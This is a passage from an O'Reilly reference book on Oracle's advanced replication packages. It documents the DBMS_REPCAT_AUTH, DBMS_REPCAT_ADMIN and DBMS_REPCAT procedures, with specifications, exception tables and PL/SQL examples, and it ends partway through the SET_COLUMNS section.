Oracle Built-in PackagesSearch this book
Previous: 14.4 DBMS_REPCAT: Managing Snapshot Replication Groups Chapter 15 Next: 15.2 DBMS_REPCAT_ADMIN: Setting Up More Administrator Accounts

15. Advanced Replication

Contents:
DBMS_REPCAT_AUTH: Setting Up Administrative Accounts
DBMS_REPCAT_ADMIN: Setting Up More Administrator Accounts
DBMS_REPCAT: Replication Environment Administration
DBMS_OFFLINE_OG: Performing Site Instantiation
DBMS_RECTIFIER_DIFF: Comparing Replicated Tables
DBMS_REPUTIL: Enabling and Disabling Replication

If you are using the advanced replication option, you will use Oracle built-in packages to create and maintain a replicated environment. This chapter describes packages and the roles they play in the configuration and upkeep of a multi-master environment.

DBMS_REPCAT_AUTH

Grants and revokes "surrogate SYS" privileges for an administrator account.

DBMS_REPCAT_ADMIN

Creates administrator accounts for replication.

DBMS_REPCAT

An enormous package that performs many different types of advanced replication operations. This chapter describes only the programs that deal with replication environment maintenance; the other DBMS_REPCAT programs are described in Chapter 14, Snapshots, and Chapter 16, Conflict Resolution.

DBMS_REPUTIL

Enables and disables replication at the session level.

DBMS_OFFLINE_OG

Instantiates sites -- that is, lets you export data from an existing master site and import it into the new master site.

DBMS_RECTIFIER_DIFF

Compares the replicated tables at two master sites and allows you to synchronize them if they are different.

In this chapter, the presentation is more or less chronological -- the packages and their programs are presented in roughly the order in which you would run them in a real advanced replication situation.

15.1 DBMS_REPCAT_AUTH: Setting Up Administrative Accounts

The first step in creating an advanced replication environment is to create administrative and end user accounts. The DBMS_REPCAT_AUTH and DBMS_REPCAT_ADMIN packages contain programs that grant and revoke the privileges required in such an environment. This section describes the DBMS_REPCAT_AUTH operations; the next section describes DBMS_REPCAT_ADMIN.

15.1.1 Getting Started with DBMS_REPCAT_AUTH

The DBMS_REPCAT_AUTH package is created when the Oracle database is installed. The dbmsrepc.sql script (found in the built-in packages source directory, as described in Chapter 1, Introduction) contains the source code for this package's specification. This script is called by catrep.sql, which must be run to install the advanced replication packages. The wrapped sql script prvtrepc.sql creates the public synonym DBMS_REPCAT_AUTH. No EXECUTE privileges are granted on DBMS_REPCAT_AUTH; only the owner (SYS) and those with the EXECUTE ANY PROCEDURE system privilege may execute the package.

15.1.1.1 DBMS_REPCAT_AUTH programs

The DBMS_REPCAT_AUTH programs are listed in Table 15.1.

Table 15.1: DBMS_REPCAT_AUTH Programs
Name | Description | Use in SQL?
GRANT_SURROGATE_REPCAT | Grants required privileges to a specified user | No
REVOKE_SURROGATE_REPCAT | Revokes required privileges from a specified user | No

15.1.1.2 DBMS_REPCAT_AUTH exceptions

The DBMS_REPCAT_AUTH package may raise exception ORA-01917 if the specified user does not exist.

15.1.2 Granting and Revoking Surrogate SYS Accounts

The DBMS_REPCAT_AUTH package contains programs that let you grant and revoke "surrogate SYS" privileges to a user. Private database links owned by SYS connect to the surrogate SYS account at remote sites, thereby avoiding the need for any database links that connect to SYS.

15.1.2.1 The DBMS_REPCAT_AUTH.GRANT_SURROGATE_REPCAT procedure

The GRANT_SURROGATE_REPCAT procedure grants surrogate SYS privileges to a particular user. The specification is,

PROCEDURE DBMS_REPCAT_AUTH.GRANT_SURROGATE_REPCAT
    (userid IN VARCHAR2);

where userid is the Oracle userid for whom you are granting privileges.

15.1.2.1.1 Exceptions

The GRANT_SURROGATE_REPCAT procedure may raise the exception ORA-1917 if the specified user does not exist.

15.1.2.1.2 Example

The following example illustrates how you might use GRANT_SURROGATE_REPCAT:

BEGIN
    DBMS_REPCAT_AUTH.GRANT_SURROGATE_REPCAT('REPSYS');
END;

This call configures the REPSYS account to perform tasks required to replicate remote DML and DDL at this site. The SYS account from remote sites should have private database links connecting to this account. The privileges granted include EXECUTE privileges on replication packages. DML privileges are data dictionary tables associated with replication.

15.1.2.2 The DBMS_REPCAT_AUTH.REVOKE_SURROGATE_REPCAT procedure

The REVOKE_SURROGATE_REPCAT procedure revokes the surrogate SYS privileges that have previously been granted to an end user. The specification is,

PROCEDURE DBMS_REPCAT_AUTH.REVOKE_SURROGATE_REPCAT
    (userid IN VARCHAR2);

where userid is the Oracle userid for whom you are revoking privileges.

15.1.2.2.1 Exceptions

The REVOKE_SURROGATE_REPCAT procedure may raise the exception ORA-1917 if the specified user does not exist.

15.1.2.2.2 Example

The following example shows how to use REVOKE_SURROGATE_REPCAT:

BEGIN
    DBMS_REPCAT_AUTH.REVOKE_SURROGATE_REPCAT('REPSYS');
END;

You must have only one surrogate SYS account at each site in a multimaster environment, and it is most convenient if the userid is the same at every site. Generally, the only usage of the surrogate SYS account is via a database link.

15.1.3 Granting and Revoking Propagator Accounts (Oracle8)

Oracle8 and Oracle7 use different mechanisms to propagate changes between sites. Oracle8 does not require a surrogate SYS account, as Oracle7 does. Instead, with Oracle8 you designate a propagator account that delivers queued transactions to remote databases and applies transactions locally on behalf of remote sites.

The programs to create and to drop propagator accounts, REGISTER_PROPAGATOR and UNREGISTER_PROPAGATOR, are contained in the DBMS_DEFER_SYS (described in Chapter 17, Deferred Transactions and Remote Procedure Calls).

NOTE: We recommend using the same username as the propagator at all database sites. Also, make the account the same as the replication administrator (REPADMIN) account.

Previous: 14.4 DBMS_REPCAT: Managing Snapshot Replication Groups | Oracle Built-in Packages | Next: 15.2 DBMS_REPCAT_ADMIN: Setting Up More Administrator Accounts
14.4 DBMS_REPCAT: Managing Snapshot Replication Groups | Book Index | 15.2 DBMS_REPCAT_ADMIN: Setting Up More Administrator Accounts
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 15] 15.2 DBMS_REPCAT_ADMIN: Setting Up More Administrator Accounts

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book

15.2 DBMS_REPCAT_ADMIN: Setting Up More Administrator Accounts

Along with DBMS_REPCAT_AUTH, use the DBMS_REPCAT_ADMIN package to create administrator accounts for replication. This section explains how to do so.

15.2.1 Getting Started with DBMS_REPCAT_ADMIN

The DBMS_REPCAT_ADMIN package is created when the Oracle database is installed. The dbmsrepc.sql script (found in the built-in packages source directory, as described in Chapter 1) contains the source code for this package's specification. This script is called by catrep.sql, which must be run to install the advanced replication packages. The wrapped sql script prvtrepc.sql creates the public synonym DBMS_REPCAT_ADMIN. No EXECUTE privileges are granted on DBMS_REPCAT_ADMIN; only the owner (SYS) and those with the EXECUTE ANY PROCEDURE system privilege may execute the package.

15.2.1.1 DBMS_REPCAT_ADMIN programs

Table 15.2 lists the programs in DBMS_REPCAT_ADMIN

Table 15.2: DBMS_REPCAT_ADMIN Program
Name | Description | Use in SQL?
GRANT_ADMIN_ANY_REPGROUP | Grants privileges required to administer any replication group at the current site | No
GRANT_ADMIN_ANY_REPSCHEMA (Oracle8) | Grants privileges required to administer any replication schema at the current site | No
GRANT_ADMIN_REPGROUP | Grants privileges required to administer the replication group for which the user is the schema owner | No
GRANT_ADMIN_REPSCHEMA (Oracle8) | Grants privileges required to administer the replication schema for which the user is the schema owner | No
REVOKE_ADMIN_ANY_REPGROUP | Revokes privileges required to administer all replication groups | No
REVOKE_ADMIN_ANY_REPSCHEMA (Oracle8) | Revokes privileges required to administer all replication schemas | No
REVOKE_ADMIN_REPGROUP | Revokes privileges required to administer the replication group for which the user is the schema owner | No
REVOKE_ADMIN_REPSCHEMA (Oracle8) | Revokes privileges required to administer the replication schema for which the user is the schema owner. | No

15.2.1.2 DBMS_REPCAT_ADMIN exceptions

The DBMS_REPCAT_ADMIN package may raise exception ORA-1917 if the specified user does not exist.

NOTE: Oracle8 documents only the REPGROUP procedures, although the REPSCHEMA procedures also exist. The functionality is identical.

15.2.2 Creating and Dropping Replication Administrator Accounts

Advanced replication also requires an account to maintain the environment. The replication administrator account (usually REPADMIN) performs tasks such as quiescing the environment, adding and removing master sites, and creating replication groups. For example, you'll use DBMS_REPCAT's ADMIN.GRANT_ADMIN_ANY_REPGROUP procedure to set up the replication administrator account to maintain all replication groups in your environment. You can also configure an account to control exactly one schema in a replication group with the GRANT_ADMIN_REPGROUP procedure. The recipient of this grant will be able to perform administrative tasks on objects it owns within a replication group; the account will not be able to administer objects it does not own. Because of this restriction, it usually makes sense to create administrative accounts for a specific group only if it is a single schema replication group and the administrative account is the schema account.

In most cases, the DBA opts for using a single replication administrator account over creating administrative accounts for every replication group.

15.2.2.1 The DBMS_REPCAT_ADMIN.GRANT_ADMIN_REPGROUP procedure

The GRANT_ADMIN_REPGROUP procedure grants the privileges required to administer a replication group for which the user is the schema owner. The specification is,

PROCEDURE DBMS_REPCAT_ADMIN.GRANT_ADMIN_REPGROUP
   (userid IN VARCHAR2);

where userid is the Oracle userid for whom you are granting privileges.

15.2.2.1.1 Exceptions

DBMS_REPCAT_ADMIN.GRANT_ADMIN.REPGROUP may raise exception ORA-1917 if the specified user does not exist.

15.2.2.1.2 Example

This call configures the SPROCKET account to administer its objects in a replication group:

BEGIN
   DBMS_REPCAT_ADMIN.GRANT_ADMIN_REPGROUP('SPROCKET');
END;

This approach is most viable when the name of the replication group is the same as the name of the schema, and when all objects in the replication group belong to that schema.

15.2.2.2 The DBMS_REPCAT_ADMIN.REVOKE_ADMIN_REPGROUP procedure

The REVOKE_ADMIN_REPGROUP procedure revokes the privileges required to administer the replication group for which the user is the schema owner. The specification is:

PROCEDURE DBMS_REPCAT_ADMIN.REVOKE_ADMIN_REPGROUP
   (userid IN VARCHAR2);

where userid is the Oracle userid for whom you are revoking privileges.

15.2.2.2.1 Exceptions

DBMS_REPCAT_ADMIN.REVOKE_ADMIN_REPGROUP may raise exception ORA-1917 if the specified user does not exist.

15.2.2.3 The DBMS_REPCAT_ADMIN.GRANT_ADMIN_ANY_REPGROUP procedure

The GRANT_ADMIN_ANY_REPGROUP procedure grants the privileges required to administer any replication group at the current site. The specification is,

PROCEDURE DBMS_REPCAT_ADMIN.GRANT_ADMIN_ANY_REPGROUP
   (userid IN VARCHAR2);

where userid is the Oracle userid for whom you are granting privileges.

15.2.2.3.1 Exceptions

DBMS_REPCAT_ADMIN.GRANT_ADMIN_ANY_REPGROUP may raise exception ORA-1917 if the specified user does not exist.

15.2.2.3.2 Example

The following call supplies the REPADMIN account with privileges to perform maintenance operations on all replication groups at the site:

BEGIN
   DBMS_REPCAT_ADMIN.GRANT_ADMIN_ANY_REPGROUP('REPADMIN');
END;

NOTE: Be sure to set up a replication administrator account at every master site of a multimaster replication environment. In addition, administration will be easiest if you use the same account name in all locations.

15.2.2.4 The DBMS_REPCAT_ADMIN.REVOKE_ADMIN_ANY_REPGROUP procedure

The REVOKE_ADMIN_ANY_REPGROUP procedure revokes the privileges required to administer any replication group at the current site. The specification is,

PROCEDURE DBMS_REPCAT_ADMIN.REVOKE_ADMIN_ANY_REPGROUP
   (userid IN VARCHAR2);

where userid is the Oracle userid for whom you are revoking privileges.

15.2.2.4.1 Exceptions

DBMS_REPCAT_ADMIN.REVOKE_ANY_REPGROUP may raise exception ORA-1917 if the specified user does not exist.

15.2.2.4.2 Example

This call revokes replication administrator privileges from the REPADMIN account:

BEGIN
    DBMS_REPCAT_ADMIN.REVOKE_ADMIN_ANY_REPGROUP('REPADMIN');
END;

Previous: 15.1 DBMS_REPCAT_AUTH: Setting Up Administrative Accounts | Oracle Built-in Packages | Next: 15.3 DBMS_REPCAT: Replication Environment Administration
15.1 DBMS_REPCAT_AUTH: Setting Up Administrative Accounts | Book Index | 15.3 DBMS_REPCAT: Replication Environment Administration
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 15] 15.3 DBMS_REPCAT: Replication Environment Administration

Oracle Built-in Packages

Oracle Built-in PackagesSearch this book

15.3 DBMS_REPCAT: Replication Environment Administration

The DBMS_REPCAT package performs many advanced replication operations, including some described in other chapters. This section describes only the DBMS_REPCAT programs that you'll use to administer the advanced replication environment.

15.3.1 Getting Started with DBMS_REPCAT

The DBMS_REPCAT package is created when the Oracle database is installed. The dbmsrepc.sql script (found in the built-in packages source directory, as described in Chapter 1) contains the source code for this package's specification. This script is called by catrep.sql, which must be run to install the advanced replication packages. The script creates the public synonym DBMS_REPCAT. The package procedure DBMS_REPCAT_AUTH.GRANT_SURROGATE_REPCAT grants EXECUTE privileges on the package to the specified grantee. In addition, the package owner (SYS) and users with the EXECUTE ANY PROCEDURE system privilege may execute it.

15.3.1.1 DBMS_REPCAT programs

Table 15.3 lists in alphabetical order the DBMS_REPCAT procedures used to maintain an advanced replication environment. In the sections that follow, we divide these programs by category (replication groups, replication objects, replication support, master sites, the "repcatlog" queue, and quiescence); each section includes a table showing the programs available in that category. For example, the section Section 15.3.2, "Replication Groups with DBMS_REPCAT"" describes only the replication group programs.

Table 15.3: DBMS_REPCAT Programs (Replication Administration Only)
Name | Description | Use in SQL?
ADD_MASTER_DATABASE | Adds master database to replication group | No
ALTER_MASTER_PROPAGATION | Alters propagation method for a replication group at a given site (options are SYNCHRONOUS or ASYNCHRONOUS) | No
ALTER_MASTER_REPOBJECT | Performs DDL on a replicated object | No
COMMENT_ON_REPGROUP | Creates or updates a comment on a replication group; visible in DBA_REPGROUP data dictionary view | No
COMMENT_ON_REPSITES | Creates or updates a comment on a replication site; visible in DBA_REPSITES data dictionary view | No
COMMENT_ON_REPOBJECT | Creates or updates a comment on a replicated object; visible in DBA_REPOBJECT data dictionary view | No
CREATE_MASTER_REPGROUP | Creates a master replication group | No
CREATE_MASTER_REPOBJECT | Adds an object to a replication group | No
DO_DEFERRED_REPCAT_ADMIN | Performs outstanding administrative tasks at local master site | No
DROP_MASTER_REPGROUP | Drops a replication group | No
DROP_MASTER_REPOBJECT | Drops an object from a replication group | No
EXECUTE_DDL | Specifies DDL to execute at master sites | No
GENERATE_REPLICATION_PACKAGE | Generates packages required to replicate a given table | No
GENERATE_REPLICATION_SUPPORT | Generates triggers, packages, and procedures required to replicate a given table | No
GENERATE_REPLICATION_TRIGGER | Generates triggers and packages required to replicate a given table | No
PURGE_MASTER_LOG | Deletes entries from the local RepCatLog (DBA_REPCATLOG) | No
RELOCATE_MASTERDEF | Changes the master definition site for a replication group | No
REMOVE_MASTER_DATABASES | Drops one or more master databases from a replication group | No
REPCAT_IMPORT_CHECK | Confirms a replicated object's validity after an import | No
RESUME_MASTER_ACTIVITY | Enables propagation of a replication group that had been quiesced | No
SEND_AND_COMPARE_OLD_VALUES | Reduces propagation overhead by not sending unchanged columns to a master site. | No
SET_COLUMNS | Designates alternative column(s) to use instead of a primary to uniquely identify rows of a replicated table | No
SUSPEND_MASTER_ACTIVITY | Quiesces a replication group | No
WAIT_MASTER_LOG | Determines whether asynchronous DML has been applied at a master site | No

15.3.1.2 Exceptions

Table 15.4 describes exceptions raised by the DBMS_REPCAT programs described in this chapter.

Table 15.4: DBMS_REPCAT Exceptions
Name | Number | Description
commfailure | -23317 | Unable to communicate with remote site
dbnotcompatible | -23375 | Operation not available for current version of RDBMS
ddlfailure | -23318 | DDL failed during object creation or maintenance activity
duplicateobject | -23309 | Replicated object already exists
duplicateschema | -23307 | Attempt to create duplicate replication group
fullqueue | -23353 | Attempt to drop replication group or schema for which RPC entries are queued
invalidpropmode | -23380 | Invalid propagation mode (used internally)
missingcolumn | -23334 | Reference to nonexistent column
missinggroup | -23331 | Replication group does not exist
missingobject | -23308 | Object does not exist
missingrepgroup | -23373 | Replication group does not exist
missingschema | -23306 | Schema does not exist
missingvalue | -23337 | Missing value (used internally)
nonmaster | -23313 | Site is not a master site
nonmasterdef | -23312 | Site is not a master definition site
nonsnapshot | -23314 | Site is not a snapshot site
norepoption | -23364 | Replication option not installed
notnormal | -23311 | Replication group is not in normal propagation mode
notquiesced | -23310 | Replication group is not quiesced
paramtype | -23325 | Invalid parameter type (used internally)
reconfigerror | -23316 | Attempt to drop master definition site with REMOVE_MASTER_DATABASES
repnotcompatible | -23376 | Replication versions not compatible (used internally)
typefailure | -23319 | Attempt to replicate nonsupported datatype
version | -23315 | Replication versions not compatible (used internally)

15.3.2 Replication Groups with DBMS_REPCAT

Once you have created administrative accounts for your advanced replication environment and established the appropriate database links among your various sites, you are ready for the next step, which is to create a replication group. Here are the procedures you will use:

DBMS_REPCAT.CREATE_MASTER_REPGROUP
DBMS_REPCAT.DROP_MASTER_REPGROUP
DBMS_REPCAT.COMMENT_ON_REPGROUP

The following sections describe these programs in detail.

Replication Groups versus Replication Schema

Prior to Oracle 7.3, the concept of a replication group does not exist. Instead, you have to replicate replication schema groups. As you would suspect, schema groups can contain only objects from a single schema. In addition, the name of the group has to be the same as the name of the schema.

In Version 7.3, Oracle introduced replication groups, which can contain objects from one or more schema. Replication groups do not have to have the same name as any of the schema they contain. In Oracle 8.0, Oracle improved the manageability of replication groups by allowing you to quiesce a single replication group at a time. (The syntax for quiescing a single group exists in 7.3, but it does not work!)

As you configure and manage a replicated environment, you may notice that for each program that operates on a replication group, such as DBMS_REPCAT.GRANT_ADMIN_ANY_REPGROUP, there is a corresponding procedure that operates on a replication schema, such as DBMS_REPCAT.GRANT_ADMIN_ANY_REPSCHEMA. You may also notice that many of the Oracle 7.3 procedure calls contain an undocumented sname parameter.

Oracle provided these procedures and parameters for backward compatibility only. Although the REPSCHEMA procedures exist in Versions 7.3 and 8.0, you are strongly encouraged not to use them, as their support will not continue indefinitely. The sname parameters are already gone from many programs in the first Oracle8 release.

Figure 15.1 shows how replication groups work.

Figure 15.1: . Replication groups

15.3.2.1 The DBMS_REPCAT.CREATE_MASTER_REPGROUP procedure

The CREATE_MASTER_REPGROUP procedure creates a replication group at the master definition site. Here's the specification:

PROCEDURE DBMS_REPCAT.CREATE_MASTER_REPGROUP
   (gname IN VARCHAR2,
    group_comment  IN VARCHAR2 := '',
    master_comment IN VARCHAR2 := '',
    qualifier      IN VARCHAR2 := '');

Parameters are summarized in the following table.

Name | Description
gname | Name of the new replication group
group_comment | Comment for new replication group visible in DBA_REPGROUP data dictionary view
master_comment | Comment for the calling site, visible in DBA_REPSITES data dictionary view
qualifier | For internal use

15.3.2.1.1 Exceptions

The CREATE_MASTER_REPGROUP procedure may raise the following exceptions:

Name | Number | Description
ddlfailure | -23318 | Unable to create REP$WHAT_AM_I package or package body
duplicaterepgroup | -23374 | Replication group gname already exists
duplicateschema | -23307 | Schema gname is already a replication group
missingrepgroup | -23373 | The gname was not specified correctly
norepoption | -23364 | Replication option not installed
dbnotcompatible | -23375 | The gname is not a schema name, and RDBMS is a pre-7.3 release

15.3.2.1.2 Restrictions

You must be connected to the replication administrator account (typically REPADMIN) to call CREATE_MASTER_REPGROUP.

15.3.2.1.3 Example

The following call creates a replication group named SPROCKET:

BEGIN
    DBMS_REPCAT.CREATE_MASTER_REPGROUP(	gname=> 'SPROCKET', -
    group_comment => 'Replication group SPROCKET created on
        '||sysdate|| ' by ' ||user, -
    master_comment => 'Master  Definition Site created on
       '||sysdate|| ' by ' ||user);
END;

This call creates a replication group with no objects. The site from which you make the call is the master definition site for the group.

For an additional example, see the repgroup.sql file on the companion disk. That example queries the DBA_REPGROUP data dictionary view and lists all replication groups in the database.

15.3.2.2 The DBMS_REPCAT.DROP_MASTER_REPGROUP procedure

The DROP_MASTER_REPGROUP procedure drops one or more replication groups at the master definition site. Here's the specification:

PROCEDURE DBMS_REPCAT.DROP_MASTER_REPGROUP
   (gname IN VARCHAR2,
    drop_contents IN BOOLEAN := FALSE,
    all_sites IN BOOLEAN := FALSE);

Parameters are summarized in the following table.

Name | Description
all_sites | If TRUE and call is the master definition site, then drop the replication group from all sites in the environment
drop_contents | If TRUE, drop the objects in the replication group as well as the group itself
gname | Name of the new replication group

15.3.2.2.1 Exceptions

The DROP_MASTER_REPGROUP procedure raises the following exceptions:

Name | Number | Description
commfailure | -23317 | Unable to communicate with all masters, and all_sites is TRUE
fullqueue | -23353 | Outstanding transactions queued for replication group gname
missingrepgroup | -23373 | gname is not specified correctly
nonmaster | -23313 | Calling site is not a master site
nonmasterdef | -23312 | Calling site is not a master definition site, and all_sites is TRUE

15.3.2.2.2 Restrictions

Note the following restrictions on calling DROP_MASTER_REPGROUP:

  • You must be connected to the replication administrator account (typically REPADMIN) to call DROP_MASTER_REPGROUP.

  • DROP_MASTER_REPGROUP does not drop all snapshots if the gname parameter is the master of any snapshot groups. Dropping a master site does not necessarily remove it from the DBA_REPSITES at other masters.

TIP: Before calling DROP_MASTER_REPGROUP, call DBMS_REPCAT.REMOVE_MASTER_DATABASES from the master definition site to remove all masters for which you plan to drop the group and that do not contain any other replication groups. In addition, you can avoid the full queue error by quiescing the replication group before attempting to drop the replication group.

15.3.2.2.3 Example

This call, from the master definition site, drops a replication group from all sites where it exists:

BEGIN
    DBMS_REPCAT.DROP_MASTER_REPGROUP(
        gname => 'SPROCKET',
        all_sites => TRUE );
END;

The next call drops a replication group and all of its objects from the calling site, assumed to be a master site (not a master definition site):

BEGIN
    DBMS_REPCAT.DROP_MASTER_REPGROUP(
        gname => 'SPROCKET',
        drop_contents => TRUE );
END;

If you want to drop a replication group from all master sites, along with the replicated objects, you can do the following:

BEGIN
    DBMS_REPCAT.DROP_MASTER_REPGROUP(
        gname => 'SPROCKET',
        all_sites => TRUE
        drop_contents => TRUE );
 END;

15.3.2.3 The DBMS_REPCAT.COMMENT_ON_REPGROUP procedure

This procedure adds a new schema comment field to the DBA_REPCAT data dictionary view, or changes an existing one. The specifications differ for Oracle7 and Oracle8 as follows.

Here is the Oracle7 specification:

PROCEDURE DMBS_REPCAT.COMMENT_ON_REPGROUP
   (gname IN VARCHAR2 := '',
    comment IN VARCHAR2,
    sname IN VARCHAR2 := '');

Here is the Oracle8 specification:

PROCEDURE DMBS_REPCAT.COMMENT_ON_REPGROUP
   (gname IN VARCHAR2,
    comment IN VARCHAR2);

Parameters are summarized in the following table.

Name | Description
gname | Replication group to which comment is added
comment | Comment
sname | Not used

NOTE: As noted in the earlier sidebar entitled the sidebar "Replication Groups versus Replication Schema"," you can see that Oracle has dispensed with the sname parameter in Oracle8.

15.3.2.3.1 Exceptions

The COMMENT_ON_REPROUP procedure may raise the following exceptions:

Name | Number | Description
commfailure | -23317 | Unable to communicate with one or more master sites
missinggroup | -23331 | Replication group gname does not exist
nonmasterdef | -23312 | Calling site is not master definition site

15.3.2.3.2 Restrictions

The COMMENT_ON_REPGROUP procedure must be called from the master definition site.

15.3.2.3.3 Example

This call adds or replaces the comment in DBA_REPGROUP for the SPROCKET replication group:

BEGIN
    DBMS_REPCAT.COMMENT_ON_REPGROUP(
        gname 'SPROCKET',
        comment => 'Comment added on '||sysdate|| ' by '||user);
END;

COMMENT_ON_REPGROUP queues an RPC to update the field at all other master sites.

15.3.3 Replicated Objects with DBMS_REPCAT

After you have created your replication group(s) (with or without comments), you are ready to add, alter, and remove member objects. Here are the procedures you need:

DBMS_REPCAT.CREATE_MASTER_REPOBJECT
DBMS_REPCAT.SET_COLUMNS
DBMS_REPCAT.DROP_MASTER_REPOBJECT
DBMS_REPCAT.COMMENT_ON_REPOBJECT
DBMS_REPCAT.ALTER_MASTER_REPOBJECT
DBMS_REPCAT.EXECUTE_DDL

The following sections describe these programs in detail.

15.3.3.1 The DBMS_REPCAT.CREATE_MASTER_REPOBJECT procedure

The CREATE_MASTER_REPOBJECT procedure creates a replicated object. Its specification follows:

PROCEDURE DBMS_REPCAT.CREATE_MASTER_REPOBJECT(
   sname IN VARCHAR2,
   oname IN VARCHAR2,
   type IN VARCHAR2,
   use_existing_object IN BOOLEAN := TRUE,
   ddl_text IN VARCHAR2 := NULL,
   comment IN VARCHAR2 := '',
   retry IN BOOLEAN := FALSE,
   copy_rows IN BOOLEAN := TRUE,
   gname IN VARCHAR2 := '');

Parameters are summarized in the following table.

Name | Description
sname | Name of the schema to which oname belongs.
oname | Name of the object to be added.
type | Object type. Valid types: TABLE, INDEX, SYNONYM, TRIGGER, VIEW, PROCEDURE, FUNCTION, PACKAGE, and PACKAGE BODY.
use_existing_object | Set to TRUE to reuse existing objects with the same name and structure at master sites.
ddl_text | Text of DDL statement to create object oname (use this parameter if and only if object does not already exist).
comment | Comment on replicated object, visible in DBA_REPOBJECT data dictionary view.
retry | Flag indicating that this call is a reattempt of an earlier call. An attempt is made to create object only at master sites where it does not exist with a status of valid.
copy_rows | Populate tables and other master sites with data from master definition site.
gname | Name of the replication group to which oname should be added.

15.3.3.1.1 Exceptions

The CREATE_MASTER_REPOBJECT procedure may raise the following exceptions:

Name | Number | Description
commfailure | -23317 | Not all master sites are reachable
ddlfailure | -23309 | Object oname already exists in replication group gname, and retry is not set to TRUE
duplicateobject | -23374 | Replication group gname already exists
missingobject | -23308 | Object oname does not exist
nonmasterdef | -23373 | Calling site is not the master definition site for replication group gname
notquiesced | -23310 | Replication group gname is not quiesced
typefailure | -23319 | The type is not supported

15.3.3.1.2 Restrictions

Note the following restrictions on calling CREATE_MASTER_REPOBJECT:

  • This procedure must be called from the master definition site.

  • The replication group must already exist and be quiesced.

15.3.3.1.3 Example

This section contains a series of examples showing how to create replication objects.

15.3.3.1.4 Adding an existing table to a replication group

This call adds table SPROCKET. PRODUCTS to the replication group SPROCKET:

BEGIN
    DBMS_REPCAT.CREATE_MASTER_REPOBJECT(sname   =>    'SPROCKET',
                                        oname   =>    'PRODUCTS',
                                        type    =>    'TABLE',
                                        gname   =>    'SPROCKET');
END;

Since we have not specified ddl_text in this example, the table must already exist.

15.3.3.1.5 Creating an object at the master definition site

In this next example, we use CREATE_MASTER_REPOBJECT to create an object at the master definition site and add it to the replication group:

BEGIN
    DBMS_REPCAT.CREATE_MASTER_REPOBJECT(
        sname 		=> 	'SPROCKET',
        oname 		=>	'STATES',
        type		=>	'TABLE'
        ddl_text	=>	'CREATE TABLE sprocket.states(state_id VARCHAR2(2),
                           state_name VARCHAR2(20))',
        gname 		=>	'SPROCKET');
END;

Notice that the CREATE TABLE statement in this example specifies the owner of the table. Typically, the replication administrator account uses DBMS_REPCAT, not the owner of the replicated schema. When this is the case, you must be sure to specify the schema in which to create objects. One of the privileges granted through DBMS_REPCAT_ADMIN.GRANT_ADMIN_ANY_REPGROUP is CREATE ANY TABLE.

In all likelihood, you will not create objects with the CREATE_MASTER_REPOBJECT procedure very often, because doing so is rather clumsy for all but the most simple objects. But it's there if you want it.

Setting the retry and use_existing_object parameters to TRUE in this third example creates the table PRODUCTS at all master sites where it does not already exist; setting copy_rows to TRUE copies the data from the master definition site to the master sites.

BEGIN
    DBMS_REPCAT.CREATE_MASTER_REPOBJECT(
            sname 			=> 	'SPROCKET',
            oname 			=>	'PRODUCTS',
            type			=>	'TABLE',
            use_existing_object 	=>	TRUE,
            retry			=>	TRUE,
            copy_rows		=>	TRUE,
            gname 			=>	'SPROCKET');
END;

If tables exist at master sites, but do not have the same definition as at the master definition site, Oracle returns an error.

NOTE: If you are incorporating an existing database into a replication group, you should consider precreating all of the objects at the new site manually, especially if the objects have interdependencies. At my sites, we always run a "catalog" script to create all schema objects, including triggers, primary and foreign key definitions, check constraints, etc. We then let Oracle generate the replication support objects. This methodology gives us complete control over how the schema is created, and we can easily reproduce the objects in other environments.

15.3.3.1.6 Replicating a package

In this final example, we replicate a package. To replicate a package, you must make two calls to CREATE_MASTER_REPOBJECT, one for the package, and one for the package body.

    BEGIN
        DBMS_REPCAT.CREATE_MASTER_REPOBJECT
            sname						=> 'SPROCKET',
            oname						=> 'PRODUCTMAINT',
            type						=> 'PACKAGE',
            use_existing_object				=> TRUE,
            comment						=> 'Added on '||sysdate,
            retry						=> FALSE,
            gname						=> 'SPROCKET');

        DBMS_REPCAT.CREATE_MASTER_REPOBJECT
            sname						=> 'SPROCKET',
            oname						=> 'PRODUCTMAINT',
            type						=> 'PACKAGE BODY',
            use_existing_object				=> TRUE,
            comment						=> 'Added on '||sysdate,
            retry						=> FALSE,
            gname						=> 'SPROCKET');
    END;

For an additional example, see the repobjs.sql file on the companion disk. The example queries the DBA_REPOBJECT data dictionary view and lists all replicated objects in the database.

15.3.3.2 The DBMS_REPCAT.SET_COLUMNS procedure

When you replicate a table, Oracle must be able to uniquely identify each record in the table so that it can propagate changes to the correct row or rows. By default, the advanced replication facility uses the primary key to identify rows. However, if your table does not have a primary key, or if you wish to use a different criteria to uniquely identify records, you can use SET_COLUMNS to designate a pseudo-primary key.

Here's the specification for the package:

PROCEDURE DBMS_REPCAT.SET_COLUMNS
  (sname IN VARCHAR2,
   oname IN VARCHAR2,
   column_list IN VARCHAR2 | column_table IN
   dbms_utility.name_array);

Parameters are summarized in the following table.

Name | Description
sname | Name of the schema that owns the replicated table.
oname | Name of the table with the column_group.
column_list | A comma-delimited list of column names to use as the pseudo-primary key. Use either column_list or column_table.
column_table | A PL/SQL table of column names. Use either column_list or column_table.

15.3.3.2.1 Exceptions

DBMS_REPCAT.SET_COLUMNS may raise the following exceptions:

Name | Number | Description
nonmasterdef | -23312 | Invoking site is not master definition site
missingobject | -23308 | Table oname does not exist
missingcolumn | -23334 | Column(s) specified do not exist in table oname

15.3.3.2.2 Restrictions

Note the following restrictions on calling DBMS_REPCAT.SET_COLUMNS.

  • DBMS_REPCAT.SET_COLUMNS must be run from the master definition site.

  • The changes do not take effect until the next call to DBMS_REPCAT.GENERATE_REPLICATION_SUPPORT.

15.3.3.2.3 Example

The following call designates columns COLOR, MODEL, and YEAR as the pseudo-primary key columns in table SPROCKET.PRODUCTS:

BEGIN
